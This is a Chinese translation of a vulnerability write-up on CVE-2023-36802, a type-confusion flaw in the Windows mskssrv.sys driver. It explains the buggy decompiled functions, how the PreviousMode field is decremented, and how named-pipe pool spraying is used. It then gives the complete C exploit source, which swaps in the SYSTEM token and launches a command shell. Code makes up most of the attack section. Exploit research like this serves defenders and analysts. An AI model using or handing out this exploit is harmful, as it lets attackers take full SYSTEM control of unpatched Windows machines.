原文链接:Microsoft Streaming Service Proxy Elevation of Privilege Vulnerability (CVE-2023-36802)
译者:知道创宇404实验室翻译组
2023年1月10日,MSRC披露了Microsoft Streaming Service Proxy (mskssrv.sys)中的一个提权漏洞。随后,IBM X-Force的@chompie发布了关于该漏洞研究结果。
在该研究中,利用了Yarden Sharif公开的IoRing Primitive中的一个向任意地址写入0x2的漏洞,并将其扩展为向任意地址写入所需数值的Full AAW/AAR。通过这种方式实现了提权。随后,Google的Project Zero分析了此漏洞的In-the-Wild案例并进行了进行了披露。
本文将介绍Google Project Zero分析的在野案例的实现过程。
受影响版本
- mskssrv.sys (~10.0.22621.1848)
在深入分析驱动程序漏洞以触发之前,需要与该驱动程序进行通信。
通常,为了与驱动程序通信,需要了解设备名称以获取句柄,然后使用DeviceIoControl
函数触发所需的功能。
为此,通常会分析驱动程序以查看IoCreateDevice
的第三个参数DeviceName。但从下面的函数中可以看出,mskssrv.sys驱动程序与通常情况有所不同。
IoCreateDevice
函数的参数显示DeviceName参数为NULL。
另外,从函数名称可以推断出,mskssrv.sys
驱动程序是一个即插即用(PnP)驱动程序。要与这种PnP驱动程序通信,需要设备接口路径。
获取设备接口路径有两种方式:一种是使用配置管理器函数,另一种是使用SetupAPI函数。
通过设备管理器查看设备的信息,可以获取与GUID相关的信息。
#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>
int main(int argc, char** argv)
{
GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
WCHAR interface_list[1024] = { 0 };
CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
if (status != CR_SUCCESS) {
printf("fail to get path\n");
return -1;
}
WCHAR* currInterface = interface_list;
while (*currInterface) {
printf("%ls\n", currInterface);
currInterface += wcslen(currInterface) + 1;
}
}
根据获得的GUID信息构建函数,执行后可以获取与mskssrv.sys驱动程序通信的设备接口路径为 \?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
。
__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
...
fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject); // no type check
KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
if ( foundObject )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
{
FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp); // type confusion!!
a2->IoStatus.Information = 24i64;
}
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
}
else
{
return 0xC0000010;
}
return (unsigned int)returnStatus;
}
mskssrv.sys驱动程序中有两个对象,一个是大小为0x78
的FSContextReg对象,另一个是大小为0x1d8
的FSStreamReg对象。
FSRendezvousServer::FindObject
函数最初设计用于检查是否存在FSStreamReg
对象,然后调用下面的FSStreamReg::PublishRx
函数。但是,在内部没有检查传入对象的类型的例程。
因此,即使将FSContextReg
对象作为参数传递给FSRendezvousServer::FindObject
函数,它仍然会返回1,并且通过以下条件,将FSContextReg对象作为参数传递给FSStreamReg::PublishRx
函数,从而导致类型混淆(type confusion)漏洞的产生。
__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
...
framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188); // out of bound read
...
for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
{
if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
*((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
while ( 1 )
{
currentFrame = *((_QWORD *)streamRegInstance + 0x33);
if ( !currentFrame
|| (_QWORD *)*framesQueuePointer == framesQueuePointer
|| (_QWORD *)currentFrame == framesQueuePointer )
{
break;
}
if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
{
currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
if ( currentFrameSize )
{
ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39)); // out of bound decrement
}
framesUnmappedFlag = 1;
}
FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
}
}
...
if ( framesUnmappedFlag )
{
keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
if ( keventPointer )
KeSetEvent(keventPointer, 0, 0);
}
...
}
在FSStreamReg::PublishRx
函数内部,假设传入的对象是大小为0x1D8的FSStreamReg对象,并参考其+0x188、+0x198
和+0x1C8
处的值来执行操作。但是,如果传入的对象是大小为0x78
的FSContextReg
对象,那么就会进行越界操作。
Primitive
在FSStreamReg::PublishRx
函数中,针对+0x1C8
处的地址执行ObfDereferenceObject
函数。通过Heap Feng Shui,使得该地址的值可以被控制,ObfDereferenceObject
函数将KTHREAD的PreviousMode
字段从1减少到0。
如果PreviousMode
为0,即内核模式,那么就可以通过NtReadVirtualMemory
函数和NtWriteVirtualMemory
函数读取和写入内核地址的值。
Exploit flow
使用已知的设备接口路径打开mskssrv.sys驱动程序。
使用NtQuerySystemInformation(SystemExtendedHandleInformation,...)函数获取一些内核地址:
- 当前KTHREAD地址(PreviousMode的地址)
- 当前进程和系统进程的EPROCESS地址(当前进程和系统进程的Token地址)
- mskssrv设备的FILE_OBJECT地址
参考已知的pool spray技术,使用NtFsControlFile
函数以0x119ff8 IOCTL
将0x80
大小的pool spray到内核。
关闭几个Pipe来在pool中创建空隙。
调用IOCTL_FS_INIT_CONTEXT IOCTL
。
FSInitializeContextRendezvous
函数内部调用FSRendezvousServer::InitializeContext
函数以初始化FSContextReg
对象,由于FSContextReg
对象大小为0x78
,它会被分配到我们创建的空隙中。- 在另一个线程中调用
IOCTL_PUBLISH_RX IOCTL
。 - 在
FSStreamReg::PublishRx
函数中,本应期望接收大小为0x1d8
的FSStreamReg对象,但传入的是大小为0x78
的FSContextReg对象,导致针对受控数据执行操作。 FSStreamReg::PublishRx
函数针对超出FSContextReg对象范围的对象调用ObfDereferenceObject
函数,从而使PreviousMode减少为0。
在主线程上执行工作。
- 通过
NtReadVirtualMemory
函数循环读取系统进程的令牌。 - 如果
PreviousMode
减少为0,则NtReadVirtualMemory
函数成功执行。 - 通过
NtWriteVirtualMemory
函数将系统进程令牌的值写入当前进程的令牌。 - 获取
FILE_OBJECT
的FSContext2
字段地址以获取FSContextReg
的地址。 - 在
KeSetEvent
时,通过ProcessBilled
的ProcessBilled
的值避免异常情况发生。 - 执行后续操作并将
PreviousMode
恢复为1,实现以系统权限运行命令。
代码利用流程
使用已知的设备接口路径打开mskssrv.sys驱动程序。
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
NtQuerySystemInformation(SystemExtendedHandleInformation,...)
使用函数查找一些内核地址
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len); // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
printf("\t[-] NtQuerySystemInformation failed\n");
free(handleInfo);
return -1;
}
for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].HandleValue == cReg &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
}
if (handleInfo->Handles[i].HandleValue == hProc &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
cur_token = cur_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == 4 &&
handleInfo->Handles[i].HandleValue == 4) {
system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
system_token = system_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
handleInfo->Handles[i].HandleValue == hMainThread) {
main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
main_prevmode = main_kthread + 0x232;
}
}
64代表SystemExtendedHandleInformation
。
根据句柄类型,如果是线程句柄,其对应的线程对象地址即KTHREAD的地址;如果是文件句柄,对应的文件对象地址即FILE_OBJECT的地址;如果是进程句柄,对应的进程对象地址即EPROCESS的地址,都会被存储在该句柄的Object字段中。
使用已知的pool spray技术,使用NtFsControlFile
函数,并通过0x119ff8 IOCTL
进行0x80大小的pool spray。
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
通过NpInternalWrite
而不是WriteFile分配用户数据时,会在pool中分配Buffered Entries
。这样会导致在用户数据之前的0x30字节处分配无法控制的DATA_QUEUE_ENTRY
到pool中。
然而,如果通过NtFsControlFile
函数调用NpInternalWrite
,则会分配Unbuffered Entries
到pool中。只有用户数据空间会被分配到pool中,使得可以控制空间中的所有值。
在此之前,关闭几个Pipe以在pool中创建空隙。
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
CloseHandle(tmp[i]); // create hole
CloseHandle(hPipeArray[i]);
}
IOCTL_FS_INIT_CONTEXT
调用IOCTL
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);
调用该函数后,FSContextReg
对象将分配到先前创建的空隙中。
接着,另一个线程调用IOCTL_PUBLISH_RX IOCTL
。
void thread_sep()
{
printf("\t[+] Loop Thread Start..\n");
ULONG_PTR InBuf[0x20] = { 0 };
InBuf[4] = 0x100000001;
DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
printf("\t\t[+] Loop thread loop finished..\n");
SetEvent(hEvent);
}
DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
因为InBuf中有一个必须是1或更大的值,所以必须正确匹配。
此外,为了使在+0x1a8
处的ProcessBilled
值被覆盖为NULL之前,可以无限循环,需要在之前对已经spray到pool的数据进行适当的调整。
FSFrameMdlList::MoveNext
函数将+0x198
处的值放入+0x198
中,并引用该地址执行操作。
为了创建环境,spray如下所示。
最理想的情况是,在分配了FSContextReg
之后,分配了至少3个pipe缓冲区。
0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
ffff938927724000 size: 280 previous size: 0 (Free) ....
*ffff938927724280 size: 90 previous size: 0 (Allocated) *Creg
Owning component : Unknown (update pooltag.txt)
ffff938927724310 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff9389277243a0 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff938927724430 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff9389277244c0 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff938927724550 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
在初始spray时,将PreviousMode
的地址放置在+0x18
处,将0x68
和0x78
处的假框架地址进行循环引用,从而形成无限循环,降低PreviousMode
可能性。
然而,由于PreviousMode
的值为1,ObfDereferenceObject
仅执行一次。如果陷入无限循环,它会不断减少。
可以利用currentFrame+0xD0
为0时不执行ObfDereferenceObject
的特性来解决问题。
首先,在第一个假框架fs1中将+0xD0的值设置为1,并将fs1的地址放置在FSContextReg对象的+0x188处,这将导致执行ObfDereferenceObject
。
然后,在+0x198处放置fs2的地址,并将fs2的+0xD0设置为0,这样在下一个循环中将不会执行ObfDereferenceObject
,而是执行FSFrameMdlList::MoveNext
。
在FSFrameMdlList::MoveNext
函数内部,将fs2的最前端地址设置为Next,然后将fs3的地址放置在fs2的最前端。同样地,将fs3的+0xD0的值设置为0,并将fs3的最前端设置为fs2的地址,以形成循环引用。
经过上述步骤,PreviousMode
将被降低为0并陷入无限循环。
以下是按照这种条件构建和spray缓冲区的代码。
fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;
ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
※PreviousMode+0x30
输入地址的原因
LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
...
if ( ObpTraceFlags )
ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64); // operate -1
v3 = v2 <= 1;
BugCheckParameter4 = v2 - 1;
if ( !v3 )
return BugCheckParameter4;
...
}
ObfDereferenceObject
函数执行时,针对传入的Object-0x30
值执行了-1操作,因此需要将发现的PreviousMode
地址增加0x30,这样才能使PreviousMode
的值减1。
在主线程上执行工作
void thread_main()
{
printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
char leak_prevmode = 1;
ULONG_PTR junk = 0;
NTSTATUS status = -1;
while (!main_prevmode) {
;
}
ULONG_PTR system_token_val = 0;
while (status != STATUS_SUCCESS) {
status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
}
printf("\t\t[+] Overwrite PrevMode Success\n");
NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
ULONG_PTR context2 = 0;
NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
ULONG_PTR ProcessBilled = 0;
NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
ULONG_PTR null_ = 0;
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
WaitForSingleObject(hEvent, INFINITE);
printf("\t\t[+] Restore Start..\n");
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t\t[+] Restore ProcessBilled field done\n");
ULONG_PTR object_header = cur_eprocess - 0x30;
ULONG_PTR PointerCount = 0;
printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
PointerCount++;
NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Increment of current EPROCESS object done\n");
NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}
NtReadVirtualMemory
持续尝试,直到成功为止。一旦成功,进行令牌复制并进行恢复,从而实现特权升级。
- 获取
FSContextReg
对象地址的方法
FileObject的地址是通过NtQuerySystemInformation
函数获得的,因此只需找到FILE_OBJECT
结构中的FsContext2
字段的地址即可。
struct _FILE_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
struct _VPB* Vpb; //0x10
VOID* FsContext; //0x18
VOID* FsContext2; //0x20 <- here
struct _SECTION_OBJECT_POINTERS* SectionObjectPointer; //0x28
VOID* PrivateCacheMap; //0x30
LONG FinalStatus; //0x38
struct _FILE_OBJECT* RelatedFileObject; //0x40
UCHAR LockOperation; //0x48
UCHAR DeletePending; //0x49
UCHAR ReadAccess; //0x4a
UCHAR WriteAccess; //0x4b
UCHAR DeleteAccess; //0x4c
UCHAR SharedRead; //0x4d
UCHAR SharedWrite; //0x4e
UCHAR SharedDelete; //0x4f
ULONG Flags; //0x50
struct _UNICODE_STRING FileName; //0x58
union _LARGE_INTEGER CurrentByteOffset; //0x68
ULONG Waiters; //0x70
ULONG Busy; //0x74
VOID* LastLock; //0x78
struct _KEVENT Lock; //0x80
struct _KEVENT Event; //0x98
struct _IO_COMPLETION_CONTEXT* CompletionContext; //0xb0
ULONGLONG IrpListLock; //0xb8
struct _LIST_ENTRY IrpList; //0xc0
VOID* FileObjectExtension; //0xd0
};
+0x20
存在于偏移处
完整的漏洞利用代码
github地址
#include "defs.h"
#define IOCTL_FS_INIT_CONTEXT 0x2F0400
#define IOCTL_PUBLISH_RX 0x2F040C
#define SPRAY_SIZE 20000
HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;
typedef struct fake_stream_ {
ULONG_PTR data[0x3b];
}fake_stream;
void thread_main()
{
printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
char leak_prevmode = 1;
ULONG_PTR junk = 0;
NTSTATUS status = -1;
while (!main_prevmode) {
;
}
ULONG_PTR system_token_val = 0;
while (status != STATUS_SUCCESS) {
status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
}
printf("\t\t[+] Overwrite PrevMode Success\n");
NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
ULONG_PTR context2 = 0;
NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
ULONG_PTR ProcessBilled = 0;
NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
ULONG_PTR null_ = 0;
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
WaitForSingleObject(hEvent, INFINITE);
printf("\t\t[+] Restore Start..\n");
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t\t[+] Restore ProcessBilled field done\n");
ULONG_PTR object_header = cur_eprocess - 0x30;
ULONG_PTR PointerCount = 0;
printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
PointerCount++;
NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Increment of current EPROCESS object done\n");
NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}
void thread_sep()
{
printf("\t[+] Loop Thread Start..\n");
ULONG_PTR InBuf[0x20] = { 0 };
InBuf[4] = 0x100000001;
DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
printf("\t\t[+] Loop thread loop finished..\n");
SetEvent(hEvent);
}
int main(int argc, char** argv)
{
printf("[+] Start CVE-2023-36802 Exploit..\n");
HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
if (!hNtDll) {
printf("\t[-] Failed to get ntdll handle.\n");
return -1;
}
NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
printf("\t[-] Failed to get Nt function address.\n");
return -1;
}
// Open mskssrv device
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
// Leak required kernel address
ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
DWORD main_threadId;
hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);
cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len); // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
printf("\t[-] NtQuerySystemInformation failed\n");
free(handleInfo);
return -1;
}
for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].HandleValue == cReg &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
}
if (handleInfo->Handles[i].HandleValue == hProc &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
cur_token = cur_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == 4 &&
handleInfo->Handles[i].HandleValue == 4) {
system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
system_token = system_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
handleInfo->Handles[i].HandleValue == hMainThread) {
main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
main_prevmode = main_kthread + 0x232;
}
}
// Spraying pool
DWORD spray_size = SPRAY_SIZE;
PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
IO_STATUS_BLOCK isb;
fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;
ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
//Create Holes
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
CloseHandle(tmp[i]); // create hole
CloseHandle(hPipeArray[i]);
}
ULONG_PTR InitBuf[0x20] = { 0 };
InitBuf[0] = 0xdeadbeef; // &1 != 0
InitBuf[1] = 0xdeadbeef1; // non-zero value
InitBuf[2] = 0xdeadbeef2; // non-zero value
// InitBuf[3] = 0
// Put FsContextReg in Hole
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);
DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
WaitForSingleObject(hMainThread, INFINITE);
WaitForSingleObject(hSepThread, INFINITE);
for (int i = 0;i < spray_size;i++) {
if (tmp[i]) CloseHandle(tmp[i]);
if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
}
CloseHandle(hMainThread);
CloseHandle(hSepThread);
CloseHandle(hEvent);
system("cmd.exe");
return 0;
}
演示图片
- https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/
- https://www.cisa.gov/news-events/alerts/2023/09/12/cisa-adds-two-known-vulnerabilities-catalog
- https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html
- https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3082/